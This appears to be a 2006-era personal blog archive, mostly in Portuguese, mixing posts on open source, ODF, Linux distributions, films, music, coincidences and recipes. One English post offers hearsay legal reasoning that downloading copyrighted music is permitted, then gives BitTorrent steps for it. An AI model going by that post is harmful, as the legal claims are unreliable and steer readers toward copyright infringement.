É comum — e errado — pensar que OSS significa a morte de todo software de código fechado. Isso não acontece porque a tendência é que as grandes inovações continuem a ser exploradas pelo modelo fechado. Imagine um mundo hipotético que ainda não conhece editores de planilhas. É natural que, ao lançar esse produto, seu inventor opte pelo modelo de código fonte fechado, para maximizar seus lucros através do total controle de sua invenção. Contudo, conforme essa invenção se populariza, desenvolve um mercado e adquire concorrentes, OSS surge como uma das formas — a mais inovadora — para repensá-la. OSS inova ao reimplementar o que outros inventaram e exploraram anteriormente. Recentemente, porém, a indústria começou a usar OSS diretamente para lançar certas inovações, justamente pelo seu poder de agregar comunidades e criar ecossistemas.

Também é comum — e errado — acreditar que se o software em si é gratuito, elimina-se por completo os gastos. Mas sempre haverá a necessidade de um suporte confiável. OSS altera o eixo do valor agregado do software, movendo-o do software em si (que não custa nada), para o serviço de suporte.

Open Source, Open Standards relacionados a TI

Em seu processo de amadurecimento, a única diferença prática entre um software OSS e outro de código fonte fechado é a ordem em que as coisas acontecem. Um fabricante comercial terá que criar estrutura e suporte regional antes de vender o produto. Já no OSS, ofertas de suporte só surgem (espontaneamente) depois que ele goza de uma boa gama de usuários. Mas seja qual for a ordem, a única coisa que garante maturidade a qualquer software ou produto é um ciclo de desenvolvimento–uso–suporte, que estimula mais desenvolvimento. Somente essa maturidade garante a aceitação do produto em empresas responsáveis. E hoje, OSSs como Linux, Apache, OpenOffice.org, Samba, e outros já gozam desse ecossistema cíclico de uma forma vasta, global e vigorosa.

Hoje, OSS tem aplicações mais maduras em infraestrutura e alguns nichos de middleware. Por sua vez, os softwares de código fonte fechado apresentam maior desenvoltura mercadológica nas funcionalidades de maior valor agregado ao negócio (ERPs, CRMs ou processos empresariais). Isso porque estas funcionalidades têm uma amplitude menor de usuários, o que inviabiliza o surgimento de suporte espontâneo — fator vital para a maturidade do OSS.

A indústria tem buscado um balanço saudável para misturar componentes fechados com OSS, a fim de maximizar o seu benefício sem abrir mão da maturidade de ponta a ponta. Prova disso é que tem sido cada vez mais comum a implantação de ERPs maduros — geralmente de código fechado — sobre plataformas abertas maduras — como distribuições Linux com suporte.

A receita para o melhor balanço é insistir no uso de Padrões Abertos. Por garantirem uma interoperabilidade fácil entre camadas abertas e de código fechado, o uso de padrões amplia as escolhas e a liberdade da empresa que compra TI para compor a melhor mistura do momento, com opções OSS e/ou de código fechado.

Love Actually

Love ActuallyPeguei na TV e assisti novamente o Simplesmente Amor. Talvez o mais belo e divertido filme que fala, como o título diz, exclusivmente sobre amor.

Podem dizer que é um filme clichezão inglês. Talvez seja mesmo. Mas é muito bonito.

Conta várias estórias de pessoas, seus amores e dores. O do primeiro ministro pela sua secretária, o do casamento desgastado, o do escritor por sua faxineira portuguesa, o do Rodrigo Santoro por sua colega de trabalho problemática, e do menino pela sua colega de escola.

A cena mais bonita é quando a Keira Knightley atende a sua porta um rapaz apaixonado por ela, que em silêncio faz uma declaração simplesmente tocante.

Geniais as cenas finais no aeroporto, lugar onde o amor é singelamente testado nos reencontros e despedidas.

Ainda neste final de semana tive uma boa surpresa com O Amor Não Sai de Férias. E a animação Flushed Away, foi menos do que esperava.

Mais Sons Inspiradores

Como fiz com o Buddha-Bar, agora foi a vez de compactar toda coleção Café del Mar em 2 CDs de MP3 para ouvir no carro.

Café del MarQuer saber? Gosto mais do Café del Mar do que do Buddha-Bar. Enquanto o último se preocupa em sobrevoar sons étnicos de todo o mundo, o Café del Mar é independente, e bem mais zen. É simplesmente delicioso adormecer com a delicadeza etérea desses sons nos ouvidos.

Há muitíssimas coisas ótimas, que remetem a imagens de jardins verdejantes e folhas de palmeiras balançando ao vento, respiração profunda, um êxtase sereno, e sempre a lembrança de que o mundo é maior do que a nossa percepção abafada pelo dia-a-dia é capaz de sentir.

Selecionei (com muita dificuldade) a Northern Lights do Lux, 8:00 AM de Lazybatusu e Adios Ayer de José Padilla, o organizador da coleção. Selecione com o botão direito para baixar e ouvir.

Ah! Tem também algumas rádios de Internet que ainda não estão 100% exploradas, mas vale a dica: Drone Zone, Space Station Soma e Groove Salad, todas no site da Soma.fm.

IBM e OpenDocument Format

A IBM apóia o uso de OpenDocument Format – o padrão aberto para documentos de escritório, e o formato usado pela suite OpenOffice.org, KOffice, Corel WordPerfect Office, e outros.

Estamos num processo interno gradativo de migração para ODF, e falamos da importância disso com governos e clientes, globalmente. Nossos produtos suportam ODF no sentido de consumir e gerar documentos nesse formato.

Uma das vozes mais conhecidas é o blog do Bob Sutor, executivo de padrões da IBM que dá muito foco para ODF. Aqui no Brasil temos o Cezar Taurion, eu e outros fazendo esse papel.

E finalmente vimos o Brasil tomando a liderança na América Latina, recomendando o uso de ODF como formato preferido para documentos do governo.

Semana passada divulgamos o seguinte press release:

Brasil incentiva a utilização do formato OpenDocument

Aliança ODF também é reconhecida por países da Europa e Ásia

São Paulo, 13 de dezembro de 2006 — A OpenDocument Format Alliance (Aliança ODF), que reúne grande número de organizações, instituições acadêmicas e representantes da indústria com o objetivo de melhorar o acesso aos documentos eletrônicos de governo, elogiou a decisão do Brasil de recomendar a ODF como o formato preferido do governo. A Aliança também parabenizou a decisão da Índia de usar a ODF em um grande órgão do governo estadual e a decisão unânime da Itália de reconhecer a ODF como padrão nacional.

A Aliança ODF expressou, ainda, seu apoio à predisposição da China, Coréia e Japão de requerer um “formato de documento internacional e baseado em padrões abertos”, além de reuniões de planejamento de TI e fonte aberta celebradas em forma conjunta anualmente pelos governos dos três países. A Polônia também foi elogiada por demonstrar sério interesse na adoção da ODF após uma reunião nacional celebrada para seu governo com grande número de participantes da indústria e organizações sem fins lucrativos.

Com a publicação da versão 2.0 do e-Ping Interoperability Framework, o Brasil se transforma no primeiro país da América do Sul que recomenda oficialmente a ODF. O quadro estabelece que todos os arquivos .xls, .doc e .ppt se encontram em transição, ou seja, que já não cumprem com suas políticas técnicas, e que a ODF é agora o formato recomendado oficialmente pelo governo do Brasil. O Instituto Nacional de Tecnologia e Informática, o Ministério da Defesa e o Governo do Estado do Paraná, no Brasil, são membros da Aliança ODF.

“2006 acaba de maneira tão auspiciosa como começou, com legiões de governos no mundo inteiro expressando verdadeiro apoio à ODF”, disse Marino Marcich, Diretor Executivo da Aliança ODF. “Parabenizamos o Brasil, a Índia, a Itália, o Japão, a Coréia, a China e a Polônia por reconhecerem a ODF, cada país a seu modo, e estamos ansiosos por ver o impulso contínuo deste movimento no ano que vem.”

Na Índia, o governo ordenou usar arquivos ODF para o escritório de impostos comerciais do governo estadual de Delhi. Além disso, a Itália se une a países como a Malásia, que têm a intenção de reconhecer a ODF como padrão nacional (consultar www.uninfo.polito.it), enquanto o Japão, a Coréia do Sul e a China pensam em usar exclusivamente formatos de documentos internacionais e baseados em padrões abertos como a ODF para reuniões celebradas por seus diretores gerais de Tecnologia e Informática, a fim de debater e promover o software de fonte aberta.

A Aliança tem crescido a mais de 400 membros em mais de 40 países, mostrando um impulso sustentado para o formato de arquivo aberto em nível mundial.

Para obter informações adicionais sobre a ODF Alliance vá para www.odfalliance.org.

Sobre a IBM
Para mais informações sobre a IBM, visite www.ibm.com/br.

Histórias de Muita Coincidência

Entre risadas e caipirinhas de saquê com lichia com amigos no Mestiço, começamos a contar experiências pessoais com coincidências impressionantes.

Algumas delas faria qualquer pessoa simplesmente desacreditar se não tivesse acontecido consigo mesmo. Selecionei algumas para compartilhar:

Estive em Paris este ano e ía para o aeroporto Charles de Gaulle de metrô — aquele tipo de transporte que tem dezenas de vagões num mesmo trêm, e por onde circulam dezenas de milhares de pessoas por dia.

Numa certa estação quem é que entra no meu vagão, bem na minha frente? A única pessoa que conhecia — mesmo que remotamente — morando em Paris: a Denise, colega de trabalho que tinha se mudado para lá.

Eram os últimos respiros da Varig e seus vôos estavam sendo cancelados. Ela também estava indo para lá, levar a filha para tentar tomar o mesmíssimo vôo. Só que no caso delas já era a segunda tentativa de tomá-lo.

Coincidência ou não, ela nos ajudou naquele enorme aeroporto e deu as dicas de com quem falar e qual ônibus tomar para ir ao terminal correto. Talvez sem a ajuda dela teríamos tido problemas.


A Adriana tem alguns irmãos. Certo dia ela estava parada num farol da Av. Rebouças e viu seu irmão Julio parado no mesmo farol, do outro lado da avenida.

A Rebouças é uma das principais avenidas da cidade, com tráfego de algumas dezenas de milhares de carros por dia.

Mas até ai tudo bem. O mais incrível é que naquele mesmo farol fechado, com a Adriana e o Julio parados naquele instante, a Bia — outra irmã — atravessava a avenida.

Qual é a probabilidade de dois irmãos se encontrarem numa avenida como essa? Qual é a probabilidade de três irmãos estarem ao mesmo tempo no mesmo lugar, numa cidade tão grande, e sem terem marcado ?

A noite, em casa, os três confirmaram que se viram naquele cruzamento.


Saí umas 22:00 do trabalho certa vez, e tomei um taxi para ir para casa. Ele passou pela Av. Paulista, que normalmente nesse horário tem muito trânsito.

Qual é a probabilidade de alguém bater o carro na Av. Paulista? Quantos acidentes acontecem alí por dia? Com certeza alguns.

Bem, o taxista foi fazer uma manobra e bateu de leve no carro da frente. Quem saiu cheteada do carro batido para reclamar? A Daniele, uma grande amiga minha. Qual é a probabilidade de um taxi em que você está bater no carro de um conhecido? E no de uma grande amiga então ?

Sua tristeza era maior do que a batida. Tinha perdido o emprego naquele dia, o carro era novo, tirado da loja dois dias antes, e sentia-se sozinha com tanta desgraça acontecendo enquanto esperava o namorado voltar da pós-graduação para consolá-la. Então ajudei ela e o pobre taxista a negociar a funilaria, dispensei o motorista, e ofereci o ombro amigo e companhia, até o namorado voltar. (Hoje ela está bem, empregada, curte boa vida e já trocou de carro várias vezes).


Uma amiga contou que uma conhecida casada viajou para a Europa, conheceu por acaso um homem alí e começou a ter um caso com ele. E voltou para o Brasil e para sua vida normal. Tempos depois o marido no Brasil viajaria para o mesmo país e iria se encontrar com o único amigo que ele tem lá: concidentemente o mesmo homem com quem ela teve um caso.


Fui a uma cafeteria tarde da noite com uma amiga que tem uma mediunidade muito forte, do tipo “I see dead people all the time”.

O lugar estava completamente vazio, e ao sentarmos ela disse que havia um espírito brincando de se esconder e aparecer bem atrás de uma coluna. Naquele momento eu só pensei que o espírito podia ser meu primo Rami. Não sei porque me ocorreu aquilo, visto que ele havia morrido uns 20 anos antes, e era um parente que não visitava com freqüência as minhas lembranças.

Mas não falei nada sobre meu pensamento. Só brinquei com ela pedindo que chamasse o tal espírito para vir conversar conosco, através dela, claro. Eu não tenho o menor problema com essas coisas e acredito muito, desde que seja de fontes que me inspirem confiança.

Ela se recusou, e recomendou deixarmos ele em paz. OK.

Minutos depois ela foi ao banheiro. Quando voltou, sentou, deu um tapinha na mesa e disse: “Seguinte, o nome desse espírito é Rami.”

Meu queixo caiu porque não tinha falado nada para ela (ou seja, não foi induzido) e nós “três” passamos o resto da noite conversando sobre música (Rami era um ótimo músico) e sobre nossa família.

Não é exatamente uma história de coincidência. Mas, telepatia ou mediunidade, é algo bem além da imaginação, e foi sensacional.


Talvez há um propósito para essas coisas acontecerem. Ou talvez não. Mas uma coisa é certa: acontecimentos desse tipo nos fazem pelo menos parar para repensar o mundo. E sim, é ainda uma zona cinzenta e nebulosa para a ciência . . .Leitor, você tem histórias assim para compartilhar ?

Museu Afro-Brasil no Ibirapuera

O Parque Ibirapuera me recebeu de braços abertos ontem para uma rodada de bicicleta. É uma pérola de nossa cidade com aquelas árvores enormes e magestosas e pessoas bonitas praticando esportes.

Dei de frente com o Museu Afro Brasil lá dentro e aproveitei para conferir. É uma exposição permanente, densa e vasta, e muita bonita, com arte e cultura de todo o Brasil. De xilogravuras armoriais típicas do nordeste, ao grafite das grandes cidades do sul. De letras e poesias gravadas nas paredes, a panfletos do encontro nacional das trabalhadoras do sexo de Salvador. De arte e fotografia da cultura do Candomblé, a um horrendo esqueleto de navio negreiro. Este último ficava numa sala a parte, junto de mais fotografias e dizeres de FHC, Castro Alves e outros. Foi muito tocante.

Fiquei impressionado com as enormes fotografias de nativos africanos, suas vestimentas (ou ausência de) e rituais, de uma tal de Isabel Muñoz.

Enquanto andava pela exposição fiquei ouvindo Ulisses Rocha e seu violão solar, que caiu como uma luva para o momento. Sempre cai.

Não deixe de visitar.

Wireless iPod

AirPlay2Tentando me desfazer dos anti-sociais-fones-de-ouvido, fui na onda de comprar um transmissor FM para o iPod que ganhei de aniversário.

Para quem não sabe o que é isso, trata-se de um dispositivo que se pluga ao iPod e que transmite o que ele toca para um rádio, por ondas de FM.

Minha dica é: não perca seu tempo com isso. Testei vários e todos são ruins. Sim, você consegue ouvir no rádio o que o iPod toca, mas sempremuito chiado, e só funciona a poucos centímetros do rádio, o que não é prático.

Irritei-me e devolvi hoje para a loja.

Evento Connect and Play 2006

Connect and Play 2006Terça-feira, 12 de dezembro realizaremos o evento Connect and Play focado para desenvolvedores.

A inscrição é gratuita em www.concursoinsites.com.br, e os participantes são convidados a doar 1kg de alimento não perecível que será entregue a uma organização social e educacional.

Teremos as seguintes palestras e atividades:

  • Technical Briefing: Accelerating Global Software Delivery (Alfredo Gutierrez – Developer Relations Manager – Developer Technical Marketing)
  • Technical Briefing: SOA Governance (Randel Powell – World Wide IDR Developer Skills Team)
  • Keynote Speaker – Nosso Futuro Digital: o impacto das Tecnologias da Informação e da Comunicação (TCIs) na Vida Humana (Ethevaldo Siqueira – jornalista especializado em Tecnologia da Informação e Telecomunicações, colunista do jornal “O Estado de S. Paulo” e da Revista Veja e comentarista da Rádio CBN.)
  • Open Document Format (César Taurion – Gerente de Novas Tecnologias Aplicadas)
  • Acessibilidade (Omar Varela – Gerente do Centro de Acessibilidade IBM)
  • Minicursos: RSA e WebSphere
  • Certificações: WebSphere, SOA, XML e DB2
  • Linux Install Fest – Instalação monitorada do SUSE 10 da Novell

Teremos também a exposição dos trabalhos finalistas do Consurso IBM InSites.

Internet Music Download

It is very controversial if it is illegal or not to download music from the Internet. The law and license to use a phonogram (a CD track) is not clear for the masses, or nobody never explained it precisely.

Understand the Context

I met a professional musician once that was studying musical production in the university, and he outlined some aspects very clearly:

  1. The great recording companies provide a service for the society in this ways: finding talents, funding the production and recording of the phonogram, producing a nice CD booklet, advertising the product on TV, radio, magazines, outdoors and operating the physical distribution logistics of the CD, all of this for you to listen high technical quality music, and easy to find in a store near your home. So nothing is more fare for the recording companies to get their financial share.
  2. Because of this a recording company is, in general, the owner of the phonogram (a CD track), and not the musician or composer. That means that the company decides when, how much and how they will publish these songs (publish means to create CDs and put them in stores). The musician can’t take a phonogram on which he participated on the recording, put it on a media (CD, tape, DAT, long play, etc) and start selling it, unless he buys the rights over the phonogram, that are, in general, very expansive.
  3. The recording industry and companies are not defending the artists rights, but their own interests. In fact, many artists do not like that the recording companies say they are defending their rights.
  4. In all this commercial process, musicians share come from their authorship rights (which is small, according to some musicians I know), that comes from an independent institution, which in its turn comes from the recording company and other sources. This rule is not the same for big stars that have enough power (and agents) to negotiate better contracts with a recording company.
  5. The musician wants his art to be known and listened in the broadest way possible.
  6. Professional musicians earn more money making shows and live performances, and less in the process of selling recording company’s CDs that carry his creations.
  7. People will only pay for show tickets if the artist’s creation is good and well known.
  8. Many good artists don’t have market penetration, money or disposition to record CDs in a way that they will own the phonograms (the so called independent way). These are usually referenced as “alternatives”.
  9. Excellent musicians and beautiful phonograms can be unknown to the point it is considered not viable to give them space in a CD store shelf. Because of that it is difficult to find old recordings or the so called “alternatives” in stores: or people already changed their taste, or the number of people will buy is very small.
  10. I estimate the cost to mass produce one single CD — including the plastic, media, booklet and its artwork, authorship rights, some advertisement etc — in about US$2.
  11. I heard that the law prohibits the redistribution of phonograms (CD tracks) in a physical media (to burn a CD or tape and start selling or buying it).
  12. The Internet is not considered a physical media. So in this rationale, by law terms, it is not prohibited to use the Internet as a way to distribute music, at least for phonograms produced/recorded before the Internet era, which includes everything before around 1997. After that, phonograms started to be produced with a revised license (the law terms of what is permitted or not to do with it) that considered the Internet.

Whatever they say, to download music from the Internet takes time, comes without the booklet — which contains a lot of art and valueable information — and is controversial if it is illegal or not. On the other hand, artists and their full high-fidelity discographies have been seen in such a way that seems not rational not to download.

You should decide if you follow what the media says defending their rights — and not the artists’s —, or if you are going to give prestige to a musician and feel all its creative potential can make with your emotions.

How to Download

I opened this space for a friend to explain how to do it. This method uses the Bit Torrent technology and these are the steps to successfully use it:

  1. Download and install some Bit Torrent software as BitComet (only for Windows) or Azureus (Mac, Linux, Java, Windows). These software are free, safe, will not install spyware, virus, malware etc, and their use is completely legal.
  2. Use the www.isohunt.com website to find music by name, artist, etc. It can be used to find also other types of files. You can also search the Internet for other sites that provides “torrents”.
  3. Search, for example, for “Mozart” or “Bach“, etc. Click on these links to see a search result example.
  4. You will find complete collections and very large files, that takes sometimes days to download. The first results isohunt will show are the most active downloads, and because of that faster to download.
  5. Select the item you want, it will expand, and then click the link called “Download Torrent” to start the download.
  6. This will trigger the Bit Torrent software (BitComet of Azureus you downloaded above), that will ask you where you want to download. Choose a directory that you will remember later.
  7. Before selecting OK, you will see a list (huge if it is a complete collection) with the files included in the torrent, and you can select only the files you want, or everything.
  8. Monitor the download activity and guarantee you are downloading in a good speed. If it is constantly slow for a long time, it is usually better to cancel and search for another download.
  9. Even very fast downloads can take days to be fully retrieved if it is big.
  10. After the download finishes, if you use Linux, use Musicman to organize your retrieved files.

Be responsible and good luck.

Choosing a Linux Distribution

It is important to begin by saying that all Linux distributions, including commercial — Red Hat Enterprise Linux, SUSE, Xandros, etc — as well as non-commercial — Debian, Slackware, Gentoo, etc — are all good and are technically able to fulfill most real world needs. To choose amongst them is more related to personal taste of the people who already knows it than to functionality. But a company must think about other aspects — not only taste — to guarantee making the right strategic choice for long term benefits.

Support and Certification

All Linux distributors package, in one way or another, mostly the same set of Open Source softwares (the Kernel, Apache, Samba, libraries, Gnome, KDE, etc). But only the so called enterprise distributions include support services together with their product.

For a user, support really means:

  1. A partner available now and in the long term to transfer operational risks.
    This is the most important point. Companies don’t want to take risks — specially the Open Source risks — for themselves.
  2. Fast access to quality updates.
    Companies in general have limited resources to compile, test and apply OSS updates.
  3. Access to a large set of certified hardware (IHV) and software (ISV) vendors, and availability of pre-tested complex solutions.
    A critical part of any IT project is the support and certification connections between its components (hardware, storage, middleware, etc). The most important and valued function provided by a distributor, even more so than the embedded technology in the OS, is its ability to build ecosystems of certified Independent Hardware and Software Vendors.

Price for a License Versus Subscription Business Models

Companies that sell commercial software (as Microsoft, IBM, Oracle, etc) allow somebody to use their products only after buying the rights to. This “buyable rights” are refered to as a commercial license.

The software provided in any Linux distribution is free of charge. The developers of these softwares have licensed their work under the GPL, BSD, Mozilla Public, IBM Public or some other Open Source licenses, which grants anyone the rights to use and redistribute the software without having to pay any money.

It is a misnomer to say that you are “buying� some Linux distribution (or a license for it to be used). You can’t buy it. It is already yours, in practical terms. It is like saying a user is buying the content of some web site. There is nothing material to acquire. On the other hand this user can subscribe to a service that provides hot line support, access to updates and access to an ecosystem of interoperable certified products and solutions – the support points outlined above.

So enterprise Linux distributors (such as Red Hat, Novell, Xandros) sell these services, and not the software, because the last is free of charge.

Choosing the Best Distribution

There are two responsible and effective ways to use a Linux distribution as part of a company’s IT operations:

  1. Acquire a global commercial Linux subscription such as Red Hat Enterprise Linux or Novell SUSE Linux Enterprise Server.
    A subscription ties together the Open Source software and its global scale support, providing a stable environment for a certified ISV and IHV flourishing ecosystem.
  2. Use free distributors such as as Debian or Slackware and buy support services from an independent local company.
    Free distributions may introduce more risk due to non-global support operations, in addition to a loose integration between software and support, which leads to a weak ISVs and IHVs ecosystem.

In terms of technical flexibility and vendor choice — points that influence cost —, both options are equal. All the benefits of the second option are present in the first, while second lacks the ecosystem aspects.

Thus the conclusion is that it is more reasonable to directly acquire a product that directly ties the support to the software, than manually integrate them at the regional level.

RHEL versus SLES comparison

Companies should look at the following points, in this order, when choosing a Linux distribution to run their business applications:

  1. Which distribution vendor do I have closer commercial relationship?
  2. Who has best pricing model for the value provided?
  3. Which distribution does my technical staff have more experience with?
  4. Which distribution is supported and certified by my providers of hardware and software?
  5. If you are unsure, be responsible and use an enterprise distribution.

There are two enterprise Linux distributors that have a strong ecosystem and penetration in the market: Red Hat Enterprise Linux and Novell SUSE Linux Enterprise. They have differences that every year continue to converging and diverge. See the table for a comparison.

Other Enterprise Distributions

There are several Linux distributions with business models similar to the one adopted by Red Hat and Novell. Most well known are Ubuntu (technically based on Debian), Mandriva (Conectiva and Mandrake fusion), Xandros (also based on Debian.) They are focused on building a product that can scale globally in such a way that support services can be delivered automatically or as a self-service.

There is an intrinsic market law that seeks equilibrium by providing two options in which to choose. One option may be good (there is actually no option when only one path is available), two mature options is better, and three or more options are too much for the market to handle. It appears that the market has already defined its two mature options: Novell and Red Hat.

Even if these other enterprise distributors have better products, they’ll have to spend a considerable amount of energy developing an ecosystem of ISVs and IHVs. More than that, ISVs and IHVs will have to take a break in their operations to listen to what these new distributors have to offer.

Ecosystem is everything. A product with a good ecosystem can easily become much better than an excellent product without an ecosystem. This is probably the most important aspect a company should consider when choosing a Linux distribution.

One cannot say that a certain distribution is better than all others. When searching for a distribution one should be pragmatic in striking a balance between the distribution’s functions and how well it meets the goals of the company or specific project.

Aquecimento Global

SAIBAM, que a Terra não será mais a mesma dentro de 20 ou 30 anos.


Aumento da variação de temperaturaA Natureza não consegue rearranjar seus ecossistemas tão rápido quanto o homem tem feito a temperatura do planeta subir, através da crescente emissão de CO2 (dióxido de carbono), marca de nossa era industrial. Então, antes da maioria de nós deixar esta vida, veremos secas fustigantes, enchentes avassaladoras e extinções irreversíveis. Já começou. Espécies, geleiras e continentes inteiros sumirão do mapa.

O mais terrível não é a mudança na paisagem global, mas os impactos sócio-econômicos. Imaginem as hordas de milhões de pessoas — 6 casas decimais de desabrigados — migrando para as montanhas porque seus paises e cidades viraram parte dos oceanos Índico, Pacífico e Atlântico. Ou teremos séculos de guerras por água e m2, ou aprenderemos a viver em paz e compartilhar os recursos.

Este assunto era um rumor remoto para mim, mas é impossível não se sensibilizar com o documentário Uma Verdade Inconveniente, ainda em exibição em algumas salas de São Paulo. Os fatos relatados alí não me saem da cabeça, e é filme obrigatório para todas as pessoas.

Faça Sua Parte Para Evitar o Aquecimento Global

Mais na Web

Lembre-se: o planeta não é nosso; ele nos foi emprestado pelos nossos filhos (provérbio africano).

Receita de Kiopolo

BeringelasIsto é uma engenharia reversa bem sucedida de uma entrada típica da culinária judaica-sefaradita ou búlgara. Pode ser encontrada em São Paulo no Shoshi Delishop, no Bom Retiro (R. Correia de Melo quase esquina com a Três Rios).

Ingredientes

  • Beringelas: 4
  • Pimentão vermelho: 1
  • Alho amassado: um pouco menos de 1/2 cabeça
  • Azeite extra virgem
  • Suco de limão: 1 se for fraco, 1/2 se for forte
  • Sementes de kümmel, opcional
  • Adoçante ou açucar a gosto
  • Sal a gosto

Modo de Preparo

  1. Coloque as beringelas e o pimentão diretamente sobre o fogo das bocas do fogão sem nenhuma proteção. Isso vai dar um sabor especial ao prato.
  2. Vire de vez em quando com um pegador longo de metal, pegando a beringela sempre pelas extremidades. Toda a pele deve ficar queimada e carbonizada, praticamente se descolando da polpa, e o fruto deve se abrir em alguns pontos revelando estar mole e molhado.
  3. Espere esfriar até uma temperatura que não queime as mãos.
  4. Segure a beringela pelo cabo e remova gentilmente a pele queimada, e por último o cabo.
  5. Faça a mesma coisa com o pimentão, removendo a pele e sementes. Mais detalhes na receita de matbukha.
  6. Coloque a beringela longitudinalmente numa tábua, uma de cada vez, e com uma faca grande massere-a na transversal quebrando suas fibras. Depois pique mais até o ponto de ficar uma massa. E vá juntando todas elas num recipiente final.
  7. Pique o pimentão em pedaços bem pequenos e finos e junte no recipiente final. Ele serve mais para dar um tom vermelho esporádico à salada.
  8. Junto o alho amassado.
  9. Regue com azeite extra virgem. Regue com o limão ou vinagre. Por incrível que pareça, o azedo do vinagre desaparece e ele potencializa o sabor assado da beringela.
  10. Adicione um pouco de kümmel. Atenção para ele não dominar a salada. Ele deve funcionar como uma surpresa em algumas poucas mordidas.
  11. Misture tudo e vá experimentando, regulando o sal, vinagre e adoçante/açucar. É importante ter um sabor levemente adocicado.

Sirva frio, com pão sírio ou outro tipo de pão, como entrada ou petisco.

Kiopolo é delicioso e quem experimenta quer a receita. Eu sempre preparo esta receita quando faço matbukha, porque o trabalho é o mesmo.

outras versões desta receita na Internet.

Padrões Abertos e Linux no Desktop

Hoje a indústria usa o sistema operacional de desktop de praticamente um único fornecedor, cria aplicações gráficas 100% dependentes dele, e usa uma suite de escritório que também só funciona sobre esse mesmo sistema operacional. Ainda por cima, os documentos de formato proprietário com que o mercado usa só podem ser gerados e consumidos por essa mesma suite.

Se nossos CDs de música tocam em qualquer CD player, por que nossas aplicações, páginas da web, documentos, etc não podem ser usados em qualquer sistema operacional, plataforma de hardware, etc ?

A demora para isso acontecer reflete quão dependente dessas tecnologias proprietárias é o mercado. Isso é caro principalmente porque não há com quem negociar alternativas, e por isso essas tecnologias terão o preço que seu fornecedor quiser.

A IBM ainda está analisando o direcionamento futuro dos nossos desktops internos para funcionários. Não foi decidido entre Linux ou Vista, nem Darwin, nem BSD, nem nenhum outro sistema operacional.

Temos iniciativas internas fortíssimas para que os produtos e serviços de nossa Intranet sigam Padrões Abertos. Dessa forma, um funcionário pode escolher o sistema operacional que melhor se adequar ao seu trabalho.

Não usamos uma tecnologia proprietária de impressão remota, e sim o serviço que usa Padrões Abertos para imprimir na rede.

Não usamos uma aplicação proprietária de VPN, mas o serviço de VPN que usa Padrões Abertos.

Não temos um serviço de diretórios de uma implementação proprietária, e sim um diretório corporativo baseado no Padrão Aberto LDAP.

Não usamos documentos de formatos proprietários, que só podem ser gerados e consumidos por uma única suite de escritório, mas reforçamos o uso do novo Open Document Format, baseado em XML, introduzido pelo OpenOffice.org, que pode ser aberto em qualquer suite de escritório.

E por aí vai….

A última fronteira é a convergência gradativa dos produtos de workgroup baseados em Lotus Notes com o novo Workplace Client Technology, que implementa Padrões Abertos, e que é baseado no Eclipse (como dezenas de outros produtos da IBM).

E digo mais: as tecnologias proprietárias que usamos internamente nos nossos desktops, tivemos que adotá-las porque quando surgiu a necessidade de resolver o problema de negócio que elas resolvem, simplesmente não haviam opções que implementassem Padrões Abertos. Conforme surgem Padrões para aquele determinado problema, isso entra em pauta e a migração é estudada seriamente. Logicamente analizando custos, funcionalidades, viabilidade, etc, porque essa é a forma racional de se fazer mudanças.

Padrões Abertos. Padrões Abertos. Padrões Abertos. Essas são as palavras do momento.

Para o mundo comercial, isso é mais importante do que ter acesso ao código fonte de um software. E é algo que deve estar sempre presente na pauta de TI do CIO.

Pregamos que companhias que inovam reutilizando Padrões Abertos levam vantagem porque seus recursos são liberados para trabalhos que agregam maior valor, e porque as oportunidades do mercado se expandem à medida que os Padrões Abertos proliferam.

É o que dizemos aos nossos clientes. É o que acreditamos. E é o que fazemos.

Fiocruz no World Community Grid

World Community GridO World Community Grid é um projeto fantástico onde pessoas como você e eu doam o poder computacional ocioso de nossos PCs para ajudar a encontrar a cura do cancer e outras doenças, descobrir detalhes de proteinas humanas, fazer pesquisa genética, enfim, mastigar dados a fim de melhorar o mundo.

WCG rodando o algoritmo da Fundação Oswaldo CruzEu rodo ele no meu laptop a anos e até ontem eu estava “ajudando” a curar a AIDS. Hoje fiquei impressionado porque tudo mudou. Nossa brasileiríssima Fundação Oswaldo Cruz está usando o WCG para “achar similaridades entre proteinas de todas as seqüências de genomas dos organismos do mundo. Essas relações entre proteinas vão ajudar a inferir suas prováveis funções e estruturas, levando a novas descobertas em medicina e biologia“. Uau !

O screensaver do WCG que se instala nos PCs é um programa genérico, apto a receber um bloco de dados mais um pedaço de software capaz de processa-lo. Ele faz tudo isso sincronizado com o grid do WCG, enviando os resultados e recebendo um novo bloco para processar. O resultado é um belo e útil screensaver.

Veja esta interativa e divertida animação explicando o funcionamento de um grid computacional.

Instale o screensaver em seu computador. Está disponível p/ Linux, Windows e Mac. É muito bom saber que de alguma forma podemos ajudar essas tão importantes pesquisas.

Receita de Matbukha

PimentõesProvei matbukha (ou matbucha ou matbuha) pela primeira vez em um restaurante libanês em Abu-Gosh, uma vila árabe perto de Jerusalém.

Fiquei impressionado, e depois comprei nos supermercados de Israel matbukha pronta várias vezes. Bem, aqui não há essas coisas para vender, então achei a receita na Internet, que minha mãe traduziu para mim. Fiz e ficou muito bom.

Ingredientes

  • 2 latas de tomates pelados
  • 4 pimentões vermelhos
  • 1 pimentão verde (para variar a cor)
  • 1/2 cabeça de alho amassado
  • 1 colher de sopa de páprica doce
  • Pimenta ardida a gosto
  • 1/2 xícara de café de azeite de oliva virgem
  • Sal e açucar ou adoçante a gosto

Modo de Preparo

  1. Coloque os pimentões diretamente sobre o fogo das bocas do fogão sem nenhuma proteção e vire de vez em quando até toda a pele ficar preta e carbonizada. O fogão vai ficar sujo, mas é essa assagem que vai dar um sabor especial ao prato.
  2. Deixe-os esfriar até uma temperatura que não queime as mãos.
  3. Limpe os pimentões removendo facilmente a pele carbonizada. Muitas pessoas evitam pimentões porque os consideram de dificil digestão. Bem, é esta pele carbonizada, de pura celulose indigesta, a vilã da estória. Depois de remove-la, o pimentão é só delícia.
  4. Abra-os e remova cirurgicamente o miolo com as sementes.
  5. Lave-os cuidadosamente removendo o resto de pele e semente que ficaram grudados.
  6. O resultado parece um bife fino e grande, que deve ser cortado em pedaços quadrados de 1 ou 2cm2.
  7. Triture muito pouco os tomates pelados. Devem sobrar pedaços relativamente grandes.
  8. Junte os tomates, pimentões, alho amassado e pimenta ardida numa panela.
  9. Ferva em fogo baixo por uns 20 minutos, mexendo sempre.
  10. Pitada de açucar ou adoçante (isso é muito importante) e sal.
  11. Misture a páprica ao azeite numa xícara e junte à panela.
  12. Cozinhe devagar, com panela destampada e fogo baixo até a água evaporar e engrossar.
  13. Esfrie e espere algumas horas antes de servir, para o sabor apurar.

